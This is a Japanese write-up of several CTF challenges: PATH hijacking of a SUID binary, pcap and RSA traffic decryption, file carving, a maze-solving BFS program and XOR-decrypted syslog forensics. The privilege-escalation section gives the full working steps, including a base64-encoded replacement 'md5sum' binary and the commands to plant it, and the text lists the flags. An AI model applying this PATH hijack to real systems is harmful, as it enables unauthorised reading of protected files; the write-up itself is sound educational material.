Bof_1 PrivEsc
以下の問題文が与えられた。
Require Bof_1 Get Shell Great ! Our secret service has informed us that a secret file is present on the machine.
問題 Bof_1 と同様にシェルを起動して調査した結果、/home/ctf_cracked
にflag.txt
があるが、
普通には読めないパーミッションになっていることがわかった。
cd /home
ls -l
total 8
dr-xr-xr-x 1 root root 4096 Jun 29 13:05 ctf
dr-xr-xr-x 1 ctf_cracked ctf_cracked 4096 Jun 29 13:05 ctf_cracked
cd ctf_cracked
ls -l
total 4
-r-------- 1 ctf_cracked ctf_cracked 39 Jun 29 11:24 flag.txt
cat flag.txt
cat: flag.txt: Permission denied
調査を進めた結果、/bin
に
-r-sr-xr-x 1 ctf_cracked ctf_cracked 16400 Jun 29 13:04 check
という怪しいファイルがあることがわかったので、base64
コマンドを利用してこのファイルをダウンロードした。
これはELFファイルだったので、TDM-GCCのobjdumpで逆アセンブルして調査した。
その結果、popen
関数を用いてコマンドmd5sum /home/ctf_cracked/flag.txt
を実行していることがわかった。
また、このファイルにはSUIDが設定されており、ユーザctf_cracked
として実行されるはずである。
これを活用するため、以下のプログラムを作成し、CS50 IDEでコンパイルした。
これは、引数で指定されたファイルを/tmp/out.txt
にコピーするプログラムである。
#include <stdio.h>
int main(int argc, char* argv[]) {
FILE* fp = argc < 2 ? stdin : fopen(argv[1], "r");
FILE* fpout = fopen("/tmp/out.txt", "w");
int c;
if (fp == NULL || fpout == NULL) {
if (fp) fclose(fp);
if (fpout) fclose(fpout);
return 1;
}
while ((c = getc(fp)) != EOF) fputc(c, fpout);
fclose(fp);
fclose(fpout);
return 0;
}
コンパイル結果のバイナリをCyberChefで Gzip → To Base64 し、
base64
コマンドとgunzip
コマンドを用いてサーバにmd5sum
ファイルとして置いた。
さらに、環境変数PATH
の先頭にこのmd5sum
ファイルを置いたディレクトリを加え、check
コマンドを実行した。
すると/tmp/out.txt
が生成され、これを読むことでflagが得られた。
cd /tmp
mkdir work
cd /tmp/work
echo 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 | base64 -d > md5sum.gz
gunzip md5sum.gz
ls -l
total 20
-rw-r--r-- 1 ctf ctf 16872 Jul 4 17:52 md5sum
chmod a+x md5sum
export PATH=/tmp/work:$PATH
check
Contact Administrator
cat /tmp/out.txt
CYBERTF{B@sic_PrivEsc_(Anti_Gu3ssing)}
ls -l /tmp/out.txt
-rw-r--r-- 1 ctf_cracked ctf 39 Jul 4 17:53 /tmp/out.txt
CYBERTF{B@sic_PrivEsc_(Anti_Gu3ssing)}
Network
YZY
ファイルcapture.pcapng
が与えられた。
Wiresharkで開くと、最後の方に「HTTP/1.1 200 OK (PNG)」という行があったので、
これに対し「追跡 → HTTPストリーム」を行った。
すると、HTTPリクエストGET /flag.png HTTP/1.1
に対し、PNGデータを返している様子が見られた。
表示を「16進数ダンプ形式」に切り替えてデータをCyberChefにコピペし、
Fron Hexdump → Extract Files をすることで、PNGファイルのデータを得ることができた。
このPNGファイルは、flagが書かれた画像データだった。
CYBERTF{NETWORK_IS_YZY}
The Mole
ファイルcapture1.pcapng
およびcapture2.pcapng
が与えられた。
capture1.pcapng
をWiresharkで開き、適当な行で「追跡 → TCPストリーム」をすると、以下のテキストが得られた。
`capture1.pcapng`から得られたテキスト
$whoami
garizov
$ls -lah
drwxr-xr-x 1 garizov garizov 512 May 16 16:39 garizov.inf
drwxr-xr-x 1 garizov garizov 1 May 16 16:39 confidential.txt
drwxr-xr-x 1 garizov garizov 1 May 16 16:39 attack_planning.txt
drwxr-xr-x 1 garizov garizov 1 May 16 16:39 attack_plan.txt
drwxr-xr-x 1 garizov garizov 512 Jun 13 2020 .comm_cert
$cat .comm_cert
-----BEGIN RSA PRIVATE KEY-----
MIIBOQIBAAJAdA6LYrTnWaPJ5DSg03uaDH3biN4jfnH1mEqFuZILfHov4/SEdEqu
Gj5/gJ3ypGTbgWUFe9VQGY0LnXN3j6773wIDAQABAkBui0wJAPc8Ut6DF/34cssR
CvCJNc3pKvMb1B/72jhGn24mgbyHyNdxK7xaY0ultnQ/3hmFuT0i/UWXdfGlOTEB
AiEAzqTk8qn/OZ9dfGOUd27JZJxucxvyB9TlY9xH5mMxS1ECIQCPxsE2N5avydWj
UnMhecYCGuwqfTTt7kMH9fGO5aWoLwIgf/2CEQtaGcarkK/c9VyZQMfjYUid0Fv8
+K0nm3s0vQECIFt+Rqvi2hCJp1skd8GAxaHHUiyDuvACZEOnng2qVC3fAiEAkjsZ
bWWZnzPMxFCUq54kXCyqHom1XRAKClNFchnNORA=
-----END RSA PRIVATE KEY-----
$cat garizov.inf
This is an alert. The cyberthreatforce has succeeded in breaking into our system.
Don't let any traces.
Garizov
$cat confidential.txt
$cat attack_planning.txt
$cat attack_plan.txt
$who
agent tty1 2021-06-06 14:15 old 2225 (:1)
garizov tty2 2021-06-06 16:15 old 2230 (:1)
$ls /home
Connection Lost
同様に、capture2.pcapng
からは以下のテキストが得られた。
`capture2.pcapng`から得られたテキスト
CPrYwDhZMg+jxAWhK3Tu2LCzDPKteChdeXkO72T7BHhpPRtqbXHEcyvmhsmsPyHDjhflEV/BQwD42kYeO9EkfQ==
BfwWKiRIDj5VzWRYck6NUQdF52thWaeLwAdwHXvM/vVd5tZGF0YVWslOr9u/CyZQd3N552Mxtp4o9CaBaD657Q==
YuqH7THelhN0rNwYmBak+bZv20sqTX10O1Kmpc6ncmt91kYm1jxLLsQa157IBqbaSRI205D0/2LLPnoAkgCMGg==
LBKjeMcgIYaQx5cUX9JBQTab6bqFTP7dzTcRMcAy6jle64Q22Zr+JbwwJTvWlhZKT82pbGU/Ux/o2+L5bghhSA==
WHYuGXboak1lY2lKXsrjrurvNcsdbCebk8ebUc4e3eBuoAxlOoHfheYHzKfiC4bibBUmS+YLn5eA/kg/OWkh5w==
DPTFnoyKxcMl4DsfNlKL49msE8Sp7hgbIP1v9P3fe071BEMAl2VgxqCez2R2XvCZo7u8VAJFFmNNTfiO+MJdMw==
capture1.pcapng
から得られたテキストのうち、
-----BEGIN RSA PRIVATE KEY-----
と-----END RSA PRIVATE KEY-----
の間の部分に対し、
CyberChefで From Base64 → To Hex → Parse ASN.1 hex string をかけると、以下の結果が得られた。
SEQUENCE
INTEGER 00..(total 1bytes)..00
INTEGER 740e8b62b4e759a3c9e434a0d37b9a0c7ddb88de237e71f5984a85b9920b7c7a2fe3f484744aae1a3e7f809df2a464db8165057bd550198d0b9d73778faefbdf..(total 64bytes)..740e8b62b4e759a3c9e434a0d37b9a0c7ddb88de237e71f5984a85b9920b7c7a2fe3f484744aae1a3e7f809df2a464db8165057bd550198d0b9d73778faefbdf
INTEGER 010001..(total 3bytes)..010001
INTEGER 6e8b4c0900f73c52de8317fdf872cb110af08935cde92af31bd41ffbda38469f6e2681bc87c8d7712bbc5a634ba5b6743fde1985b93d22fd459775f1a5393101..(total 64bytes)..6e8b4c0900f73c52de8317fdf872cb110af08935cde92af31bd41ffbda38469f6e2681bc87c8d7712bbc5a634ba5b6743fde1985b93d22fd459775f1a5393101
INTEGER 00cea4e4f2a9ff399f5d7c6394776ec9649c6e731bf207d4e563dc47e663314b51..(total 33bytes)..00cea4e4f2a9ff399f5d7c6394776ec9649c6e731bf207d4e563dc47e663314b51
INTEGER 008fc6c1363796afc9d5a352732179c6021aec2a7d34edee4307f5f18ee5a5a82f..(total 33bytes)..008fc6c1363796afc9d5a352732179c6021aec2a7d34edee4307f5f18ee5a5a82f
INTEGER 7ffd82110b5a19c6ab90afdcf55c9940c7e361489dd05bfcf8ad279b7b34bd01..(total 32bytes)..7ffd82110b5a19c6ab90afdcf55c9940c7e361489dd05bfcf8ad279b7b34bd01
INTEGER 5b7e46abe2da1089a75b2477c180c5a1c7522c83baf0026443a79e0daa542ddf..(total 32bytes)..5b7e46abe2da1089a75b2477c180c5a1c7522c83baf0026443a79e0daa542ddf
INTEGER 00923b196d65999f33ccc45094ab9e245c2caa1e89b55d100a0a53457219cd3910..(total 33bytes)..00923b196d65999f33ccc45094ab9e245c2caa1e89b55d100a0a53457219cd3910
RSA 秘密鍵/公開鍵ファイルのフォーマット - bearmini's blog
を参考にすると、以下のRSA暗号のパラメータが得られた。
n = 0x740e8b62b4e759a3c9e434a0d37b9a0c7ddb88de237e71f5984a85b9920b7c7a2fe3f484744aae1a3e7f809df2a464db8165057bd550198d0b9d73778faefbdf
e = 0x010001
d = 0x6e8b4c0900f73c52de8317fdf872cb110af08935cde92af31bd41ffbda38469f6e2681bc87c8d7712bbc5a634ba5b6743fde1985b93d22fd459775f1a5393101
また、capture2.pcapng
から得られたテキストをCypherChefで処理すると、以下のデータが得られた。
v1 = 0x08fad8c03859320fa3c405a12b74eed8b0b30cf2ad78285d79790eef64fb0478693d1b6a6d71c4732be686c9ac3f21c38e17e5115fc14300f8da461e3bd1247d
v2 = 0x05fc162a24480e3e55cd6458724e8d510745e76b6159a78bc007701d7bccfef55de6d6461746155ac94eafdbbf0b2650777379e76331b69e28f42681683eb9ed
v3 = 0x62ea87ed31de961374acdc189816a4f9b66fdb4b2a4d7d743b52a6a5cea7726b7dd64626d63c4b2ec41ad79ec806a6da491236d390f4ff62cb3e7a0092008c1a
v4 = 0x2c12a378c720218690c797145fd24141369be9ba854cfeddcd371131c032ea395eeb8436d99afe25bc30253bd696164a4fcda96c653f531fe8dbe2f96e086148
v5 = 0x58762e1976e86a4d6563694a5ecae3aeeaef35cb1d6c279b93c79b51ce1edde06ea00c653a81df85e607cca7e20b86e26c15264be60b9f9780fe483f396921e7
v6 = 0x0cf4c59e8c8ac5c325e03b1f36528be3d9ac13c4a9ee181b20fd6ff4fddf7b4ef5044300976560c6a09ecf64765ef099a3bbbc54024516634d4df88ef8c25d33
以下のようにして、Pythonで復号を行った。
vl = [v1, v2, v3, v4, v5, v6]
vd = [pow(v, d, n) for v in vl]
def to_str(n):
r = ""
while n > 0:
r = chr(n & 0xff) + r
n >>= 8
return r
vs = [to_str(v) for v in vd]
vs
の各要素のうち、最後のテキストとして読める部分は以下のようになった。
Cyberthreatforce is in.
Hurry up we have to kick them out.
Please take this code.
CYBERTF{D3c0d3_TcP_FL0w}
Log out now !
We have to be fast.
flagが得られた。
CYBERTF{D3c0d3_TcP_FL0w}
Exfiltration
.pcapng
ファイルが5個 (chall_split[1-4]?\.pcapng
) 与えられた、
それぞれのファイルにstrings -n 12
をかけると、chall_split3.pcapng
から大量の16進文字列が出てきた。
そのうちASCII文字を表していそうないくつかにCyberChefのFrom Hexをかけると、PDFファイルの一部のようだった。
これらの16進文字列を集め、同じものが2個ずつあるようなので1個にし、
CyberChefのFrom Hexをかけると、PDFファイルが得られた。
そのPDFファイルにflagが書かれていた。
CYBERTF{Extr@ction_1CMP_W000000000000000000W}
Misc
Return To The School
TCPサーバが用意され、問題文から迷路の最短路を求めることが要求されているとわかった。
サーバにTera Termで接続すると、以下のような出力がされた。
サーバの出力
resolvez le chemain le plus cours
Example:
................................
.A XX X X X XXX XX .
.AX X X X XXXXXXX XX X.
.AAX XX XX XX X XXXX X.
.XAXXX XX X XX XXXXXXXXX X.
.AAXXXX XXXX XX X XXXXXXX XX .
.AXX XX XXXX X XXX .
.AXX X X XX X XXX XXX XX .
.AXAAA XXX XX XXX XXX X.
.AAAXAXX XXXXXXX XXX XXX X.
.X XXAAX XX XXXXXX XXXX X X.
.X XXAXXXX XX XXXXX XXXX X.
.X X A X XX XXX X XXXX X.
.X XX AX X X XXXX X XXX X X.
.X XAXXXXX XX XXXX XX X.
. XX AA X X X XXX .
. X XAXX XXXX X XXXXXAAA X .
.XXXXXXAXXXXX X X XXXAAXAAA .
.XX XXAAAAAAAA XXXAAAAA XXXAXX.
.XXX XX X XXXXAAAAAAXXX XX AAX.
.X XXXXX XXXXX XXXXXAA.
................................
vous devez repondre (ou equivalent)->ENENNEENEESESEEEESEEEEENEEEEEEENNNENNNNNENNEESEENNNNONNENN
a votre tour
............................................................................................
. XXXXX XXXXXXXXXXXX XX XX XXX X X XXXXXX X XXXXXXXXXXXX XXX .
.X XX XXXX X XX XXX XX X X XXX X X XX XXXXX X XX XXXX XX X.
.X XX X XX XX X X XX XXX X XX X XX X XX X X X XXXXX X XX XXXXX X X XXXX .
. XXXXX XXXXXXX X XX X X X X X XX XXX X X X X X X X X X X X.
. XXXXX X XXXXX XX X XXXXXXXXX X X X XXX XX XXX XXX XXX XXXX X X XX XX X XX.
. X X X XX X X XX X XX XXX XX XXXX XXXXXX XX X X XXXXX X X X XX XX X .
. X XX X XXX X XXX X XX XX XXX X XXXXXX XX X X X X XXX XXX .
.XXX XXXX XX X X XXX X X X XXX X XXXX XX XXX X XX XX X X XXX X X X XXX.
.X X X XXXX X X X XXXXXX XX XXX X XXX XXXX XX XXX XX XX XXX XX X XX X XXXX.
.X XXX X X X XX X X XXXXXXXXXX X X XX X XX XXX XXX XXXXX X XXX X XX XX XXXX X.
.X XX X X X X XXX XXX XX XX XX XXX XXX XXXXX .
.X X XX X XX XXXXXXXXX X X X XXX X X XXXXXXXXXX X X XX XX X X XX X X X X .
. XXXXX XX XXX X X XX XXXXX XX XX XXXXX XX X X XX X XXX X XX XX X .
.XX XXX XXX X XXX X X XX XX XX X X X XXX XX X X XXX X X X X X X XXXXXXX .
. X XXXXX XXX XXX XXX XX X X XXX XXXX XXX X X XX XXXXX XXXXXX .
. XX XX XXXX XXXX XXXXXX XX X X XX X XXXXXX XX X X XXX X XXX XXX X XX X XXX X XXXX .
. XX XXX X X XX X X X X XX XX X XXXX XXXXX X XX X X X.
. X XXXXXX X XXX XX XX XXXX X X XX X X X X X XX X X XXXXX XXX X XXXXXX XXX .
.XXX XXX XX XXX X XXXXX XX XXX XX XX X XX X XX X X XXXXXX XXXXXX XXXX X X .
. X XX X XX XXXXX X XX XXX XXXX X X X XX X XXX X X XXX XXX XXX X .
. X XXXXX X XXXX XX X X X XXXXX X XXX X XX X XXX X XXXX XX X XXX X .
.XX XX X X X XX X XX XXX XXXX XX X X X XXX X XXXX X X XXXXXX XX X X XX.
.X XX X X X X X XX XXX XX X X X X XX XX XX X XX X XXX XXXXX X.
.XXXX XXX XXX X X X XX XX X XXXX X XX XXX XX XXX XXXXXX XXXXX X X XX X.
. XXX X XX XX X XX XXXX X X XXXX XXXXX XXXXXX X XX XX XXX XX X XX X X.
. XXXXX X X XX X XXXXX X XXX XXXXXXXX XXX X XX XX X X XX X X XXXXXX XX X .
. XXXX XX X XX XXXXX X XX XXX X XXXX X XX XX X X XX XX XX X XXXX X XX .
. XXX XXX X X X XX XX XXX X XX X X XXX XX XXXXXXX X X XX XX XXXX X XX .
.X X X XX X X XXXXXXX XXX X X X XXX XX XXXXX XX X XXXXXX X X XXXX XXXX .
. XX X XXXX X XXXXX XXX X XXX X XXX X XXX XX XXXXXX X XXXX X XX X X X.
. XX XX XXXX XX X X X X XXXXX XXX XX X X XX XX X XX X X XXXXX X X.
. X X XX XXXXXXX XXXX XX XXXX XX X XXX XX XXXXX XX XX X XXX XX .
.X XXX XX X XXX XXX XX X XX X XXXXXXX XXX XXXXX X XXXXX X X XX X .
.X X XX X X XX X X X XX X X X X X XX XXX XX XX XXX X X XXXXX X X .
.X X X X XX X X XXXX X XXXX XXX XXXX X X X XX XXX X X XX XX XX X X X X XX X .
. X X X X X XX XXXX XXX X XXX XX XXXX X XX XX XX XX X X XXXXX XX X XX XX .
. XX XX X XXX XXX X XXX XXXX X X XX XX XXX X X X X X XXX X XX .
. XXXXXX X X XXX XXX X XXXXXXXX XXXXX X XX X XX XX X XXXXXXX XX XXX XX X .
. XXXXXXX X XX XX XXX XX XX XXX XX XXXXXX X XXXX XXXXXXX X X X XX XX X X.
. XX XXXX X X XXXXX XX XXX XXXX XX XX X XXXX X XXX XX XXXXXXX X X XXXX XX XXX .
. X XXXX XXX XXX XXX X X XX XX XXX X XX XX XXX XXX XXXXX .
. X X XX XXX X XX X XX XXXXX XX X XXX X XXX X X XX X XX XX X XX XX.
. X XXXX XX XXX X X X XXXXXX XX X X XX X X X X X X XXX X.
. X XXXX XXXXXX XX XXX XXX XX XXX XXXXXXXX XXX X XXX XXXXXXXX X X XXXXXX X X .
. XXXX XXXXX XX XXX XX XXXXXX X XX XX XX XX XX XXXX XX XX XX XXXXXX X .
. XX XX XXX XX X XXXXXXX XX X XXX X XXX XX XX X XXX XX X XX X XX .
. X XX X XX XX X X XX X XX XX XXXX X X X XX XXXX XX XXX X X X XXX.
. X X XX XXXXXX XX XXX XXXXXX XX X XXX XX X XX X XX XX X X XX X.
.X XX XXX X XXXXX X XX X XXX XXX XX X XXX X XXXXX XXXXX XX XX XXX XX X XXX X.
. X X XXX X X X X XXXXXXX X X X XXX XX X XX X X X XX XXXX XXX XXXX .
. X X XX XXX X XXX XXXXXXXX XX X XXX XX XX XX XX XXXXX X .
. X X X XXX X XX X XX XXXXXX X X XXX X XXX X XXX X X X XX XX X X XXXXX X.
. X XX X XX X XXX X XXX XX XXX XXX X XXX X X XX X X XXX.
.X XXX XX XXXX XX X X XXXXXXX XXXX XXXXXXXXX XXXXXXX X XXXX X XXXXX XXX XXX XXX.
. XX XXXXX XX X X X X X XX XXX X XXX X XXXXX XXX X XXXXXX X .
.X XXXX X X X X X X XX XXX XX XXX X XXXXX X XXX X XXXXX X X XX .
. XX XX XX XXXX XX X XXX X X XXXXXX X XXXX X X XX XXXX X XX .
.XX X XXX X X XXX XXXX XXXX X X XXX X XXX X X XX XXX X X XX XXXX X .
. X XX X XX X X XX X XXX X X X XX X XXXX X XX XXXXXXXXX XX X X XX XXX.
. XX XXX X XXXX XXX X XXX XXXXXXXXX XXX X XXX XXX XX XX X .
............................................................................................
Exampleから、
-
.
やX
のマスを通らないように右下から左上へ行く経路を求める - 左に行くことを
E
、右に行くことをO
、上に行くことをN
、右に行くことをS
で表す
ことが読み取れた。
右を表すのがW
ではなくO
である上、これはExampleに1個しか出てこなくて見落としやすいという罠があるものの、
競技プログラミングの典型問題だろう。
幅優先探索を実装した。
最短路を求めるプログラム
#include <iostream>
#include <vector>
#include <string>
#include <queue>
const int d[4][2] = {
{1, 0}, {-1, 0}, {0, 1}, {0, -1}
};
const char d_name[] = "SNOE";
struct status {
int y, x;
status(int y_ = 0, int x_ = 0) : y(y_), x(x_) {}
};
int main(void) {
std::vector<std::string> map;
const std::string key = "a votre tour";
std::string line;
bool reading = false;
while (std::getline(std::cin, line)) {
if (reading) {
if (!line.empty()) {
map.push_back(line);
}
} else if (line == key) {
reading = true;
}
}
std::vector<std::vector<int> > dir;
for (size_t i = 0; i < map.size(); i++) {
dir.push_back(std::vector<int>(map[i].size()));
}
std::queue<status> q;
q.push(status(map.size() - 2, map[map.size() - 2].size() - 2));
dir[map.size() - 2][map[map.size() - 2].size() - 2] = 5;
while (!q.empty()) {
status s = q.front();
q.pop();
for (int i = 0; i < 4; i++) {
int ny = s.y + d[i][0], nx = s.x + d[i][1];
if(map[ny][nx] == ' ' && dir[ny][nx] == 0) {
dir[ny][nx] = i + 1;
q.push(status(ny, nx));
}
}
}
std::string res = "";
for (int y = 1, x = 1; 1 <= dir[y][x] && dir[y][x] <= 4;) {
int cur_dir = dir[y][x] - 1;
res = d_name[cur_dir] + res;
y -= d[cur_dir][0];
x -= d[cur_dir][1];
}
std::cout << res << '\n';
return 0;
}
このプログラムで最短路を求めて送信すると、
Vous avez mis plus de 10s
と出力された。どうやら10秒以内に結果を返さないといけないようだ。
- サーバから送られる入力データを貼り付けるファイルを、あらかじめテキストエディタで開いておく
- あらかじめ端末にコマンドを入力し、入力データの保存後Enterキーを押すだけで最短路を求められるようにする
という工夫をすることで、時間内に結果を返すことができ、flagを得ることができた。
CYBERTF{M@ze_Mast3r}
Forensic
Usb Key Cemetery
auth.json
と、暗号化されたsyslog fileのsyslog.enc
が与えられた。
また、問題文より
the logs starts on June 7th 22:53:25 Flag format: CYBERTF{Serial Number of the usb rubber ducky}
という情報が得られた。
まずsyslogの出力形式を調べた。
【再入門】syslogとは?ログの管理と転送方法についてわかりやすく解説します! | カゴヤのサーバー研究室
より、Aug 10 19:30:19
のような形で日時が入ることが分かった。
問題文に書かれている日時をこの形に整形すると、Jun 7 22:53:25
となる。
CyberChefでsyslog.enc
を入力とし、この整形した日時をKey (UTF-8)としてXORをすると、
先頭部分にWE ARE APT403WEJ_]
と出てきた。
これを参考に、KeyをWE ARE APT403
(UTF-8)としてsyslog.enc
にXORをすると、syslogのデータが得られた。
今回はSerial Numberが欲しいので、得られたデータ中のSerialNumber
に注目し、
テキストエディタでSerialNumber
で検索し、見ていった。
その結果、
Apr 12 20:21:25 kali kernel: [ 1.830063] usb 1-2: Product: Fake_KeyBoard
Apr 12 20:21:25 kali kernel: [ 1.830064] usb 1-2: Manufacturer: APT43.
Apr 12 20:21:25 kali kernel: [ 1.830065] usb 1-2: SerialNumber: 854be9ee57ef47ce74e73904998d61c8846e9239
という怪しい部分が見つかった。
ここのSerialNumber
をFlag formatに当てはめることで、flagが得られた。
CYBERTF{854be9ee57ef47ce74e73904998d61c8846e9239}
misc
Synopsis
問題文:
Put the flag that was present in the synopsis
CTFの紹介ページのSynopsisに掲載されている画像にflagが書かれているので、typoしないように注意して入力した。
CYBERTF{7349621064380}